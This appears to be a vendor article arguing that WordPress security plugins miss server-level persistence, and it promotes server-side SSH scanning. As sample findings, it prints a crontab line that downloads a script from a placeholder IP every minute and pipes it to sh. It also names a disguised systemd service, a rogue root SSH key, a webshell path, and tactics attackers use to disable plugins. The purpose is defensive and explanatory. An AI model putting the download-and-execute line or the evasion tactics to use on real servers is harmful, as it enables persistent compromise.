Key takeaways
- A WordPress security plugin runs inside WordPress, so it can only see what PHP and WordPress can see.
- Server-level persistence such as cron jobs, systemd services, reverse shells, rogue SSH keys and fake binaries sits outside a plugin's view.
- Once an attacker has admin or file access, they can disable or tamper with the plugin that is meant to catch them.
- Server-side scanning runs at the operating-system level and covers every site on the server, not just one.
- The strongest setup uses both: a plugin for login protection and application-layer rules, server-side scanning for detection and clean-up.
Is a WordPress security plugin enough?
A WordPress security plugin is not enough on its own once a site has been compromised. Plugins run inside WordPress, as the same PHP user an attacker controls after a breach. They are good at blocking common attacks and scanning WordPress files, but they cannot see server-level backdoors, other sites on the server, or processes running outside PHP.
That is not a criticism of any particular plugin. It is a limit of where plugins live. A plugin is PHP code loaded by WordPress on each request (and on WP-Cron runs). It has roughly the same file permissions as the website, it only runs when WordPress runs, and it trusts WordPress to load it. Anything that happens beneath that layer is, by design, out of reach.
We have cleaned servers where a well-known security plugin was installed, active and reporting "no issues found" while a reverse shell was running as a system process and a cron job was re-downloading malware every minute. The plugin was not broken. It was simply looking in the wrong place.
How do security plugins and server-side scanning compare?
Security plugins protect the WordPress application layer: logins, requests and WordPress files. Server-side scanning inspects the whole server from the operating system: every site, every file, scheduled tasks, services, processes, users and keys. The table compares the two on the points that decide whether an infection is actually found and removed.
| Capability | WordPress security plugin | Server-side scanning (e.g. PatientZero) |
|---|---|---|
| Where it runs | Inside WordPress, as the web server's PHP user | On the server over SSH, at operating-system level |
| Login protection, 2FA, rate limiting | Strong: this is what plugins do best | Not its role; handled by hardening and firewall rules |
| Application-layer firewall rules | Yes, for requests that reach WordPress | Server firewall and SSH lockdown via hardening playbooks |
| WordPress core file integrity | Yes, usually compared against official checksums | Yes |
| Files outside the WordPress directory | Limited or none | Yes, including /tmp, /dev/shm, home directories and system paths |
| Other sites on the same server | No, one install at a time | Yes, every site on the server in one scan |
| System crontabs and systemd services | No (WP-Cron only) | Yes |
| Running processes and reverse shells | No | Yes |
| Rogue Linux users and SSH keys | No | Yes |
| Replaced system binaries | No | Yes |
| Runs when WordPress is broken or disabled | No | Yes, independent of WordPress |
| Can be switched off by an attacker with WordPress admin | Yes | No, it does not depend on WordPress |
| Cost of running | Uses PHP resources on the live site | Runs as a separate scan engine, scheduled or on demand |
The honest conclusion is that the two tools do different jobs. A plugin reduces the chance of a breach through WordPress. Server-side scanning tells you whether a breach has happened anywhere on the server, and gives you what you need to clean it completely.
What do WordPress security plugins miss?
Plugins typically miss anything that persists outside WordPress: system cron jobs, systemd services, reverse shells, rogue SSH keys, fake system binaries, VPN backdoors and malware in other sites or temporary directories. These are exactly the mechanisms attackers use to come back after a WordPress-only clean-up.
Here is what a server-side sweep can surface on a server where the plugin dashboard showed a clean result:
# Crontab for the web user: re-downloads a dropper every minute
crontab -l -u www-data
* * * * * curl -fsSL http://203.0.113.45/k.sh | sh >/dev/null 2>&1
# A systemd service pretending to be a kernel helper
systemctl list-units --type=service | grep -i kworker
kworkerd.service loaded active running Kernel worker daemon
# An unexpected key in root's authorized_keys
cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3Nza... admin@acme-prod-01
ssh-rsa AAAAB3Nza... root@localhost
# Webshell in a second site on the same server
/var/www/shop.example.co.uk/wp-content/uploads/2026/06/wp-load-cache.php
None of these lines would appear in a WordPress plugin scan. The plugin on the first site cannot read the second site's files, cannot list crontabs or systemd units, and has no view of /root/.ssh. Clean the WordPress files alone and the cron job reinstalls the malware within a minute. We cover this pattern in why malware keeps coming back.
Can attackers disable a security plugin?
Yes. An attacker with WordPress administrator access or write access to the files can deactivate a security plugin, delete it, edit its rules, or whitelist their own files. Because the plugin depends on WordPress, anything that controls WordPress also controls the plugin. Many malware kits include routines to do exactly this.
Common tactics we see include:
- Creating a rogue administrator, then deactivating the plugin from the dashboard.
- Adding the webshell's path to the plugin's ignore list so scans skip it.
- Hiding the malicious admin account from the Users screen with a small must-use plugin.
- Editing
wp-config.phpor.htaccessso the plugin's firewall never loads. - Placing the real backdoor outside WordPress entirely, where the plugin never looks.
A server-side scanner is independent. It connects over SSH, runs its own engine (PatientZero deploys to /opt/patient-zero/scan-engine), and does not trust anything WordPress says about itself. That separation is the main reason to use one after an incident.
Security triage
Is your site showing any of this?
Tell us what you’re seeing in two minutes and we’ll tell you what it means and what to do next. Hacked right now? Get emergency help.
Should you use a plugin and server-side scanning together?
Yes, for most sites the best setup uses both. Keep a reputable plugin for login protection, two-factor authentication and application-layer rules, and add server-side scanning for detection, clean-up and monitoring. Each covers the other's blind spots, and neither slows the other down.
| Job | Best handled by |
|---|---|
| Stopping password guessing and enforcing 2FA | Security plugin |
| Blocking known-bad requests to WordPress | Security plugin or web application firewall |
| Finding webshells, backdoors and persistence across the server | Server-side scanning |
| Confirming a clean-up is complete | Server-side scanning |
| Blocking PHP execution in uploads, SSH and firewall lockdown | Server hardening |
| Evidence for clients, insurers or the ICO | Server-side forensic reports |
If you only have a plugin today, a sensible next step is a one-off server-side check. Public tools such as Google's Safe Browsing site status show outside warning signs, and a full Malware sweep or Forensic scan looks inside the server itself.
How can you tell your plugin has missed an infection?
The clearest sign is a mismatch: your plugin reports a clean site, but you still see symptoms. Redirects that only affect some visitors, spam pages in Google results, unknown administrators, unexplained CPU load or outbound traffic, or malware that returns after every clean-up all suggest the infection sits outside the plugin's view.
Watch for these patterns in particular:
- Malware returns within minutes or hours of deletion. Something outside WordPress, usually a cron job or a running process, is putting it back.
- Your host reports abuse you cannot see. Outbound spam, scanning or cryptomining from the server points to a process, not a PHP file.
- Google shows spam you cannot find. Cloaked SEO spam serves different content to search engines, often from injected code a plugin does not flag. See our SEO spam removal guide.
- Only mobile or first-time visitors are redirected. Conditional redirects hide from logged-in administrators. See the redirect hack guide.
- Other sites on the server are affected. The plugin on this site cannot see or clean its neighbours.
Any one of these is reason enough to run a server-side check rather than another plugin scan. Our 12 signs your website has been hacked lists more symptoms to look for.
How does PatientZero scan a server?
PatientZero connects to your server over SSH, deploys a scan engine, and runs two scan profiles across every site on the server: a Forensic scan (dfir-fast) for indicators of compromise and persistence, and a Malware sweep (malware-intelligence) for malicious code. Findings are then fixed and the server hardened.
- Connect. We connect with an SSH key and deploy the engine to
/opt/patient-zero/scan-engine. - Scan.
dfir-fastchecks crontabs, services, processes, users, keys and recently changed files;malware-intelligencesweeps every web root for webshells, injected code, skimmers and SEO spam. - Fix. Findings are quarantined with evidence kept, and Fix entry points closes the way in, such as a vulnerable plugin or exposed credentials.
- Harden. Harden playbooks block PHP execution in uploads, lock down SSH and tighten the firewall.
- Monitor and report. 24/7 monitoring watches for recurrence, and Reports record what was found and fixed.
Every plan includes unlimited malware removal, so if something does come back, we clean it again. See WordPress malware removal or pricing for details.
Frequently asked questions
Why did my security plugin say my site was clean when it was hacked?
Most likely the malware lives somewhere the plugin cannot see, such as a system cron job, a systemd service, another site on the same server or a temporary directory. It is also possible the attacker added their files to the plugin's ignore list or disabled its scanner.
Should I uninstall my security plugin if I use server-side scanning?
No. Keep a reputable plugin for login protection, two-factor authentication and application-layer blocking. Server-side scanning complements it by covering detection and clean-up at the operating-system level. The two do different jobs and work well together, and running both gives you prevention at the application layer and independent detection underneath it.
Does server-side scanning slow my website down?
Server-side scanning runs as a separate engine rather than on every page load, so it does not add work to each visitor request. Scans can be scheduled at quieter times and run on demand during an incident. By contrast, a plugin scanner runs inside WordPress and uses the same PHP resources as your live site while it works.
Can server-side scanning work on shared hosting?
It depends on the access your host provides. Full server-side scanning needs SSH access. On shared hosting, scope is usually limited to your own account's files and crontab, which is still far wider than a plugin sees. For whole-server coverage, a VPS or dedicated server is best.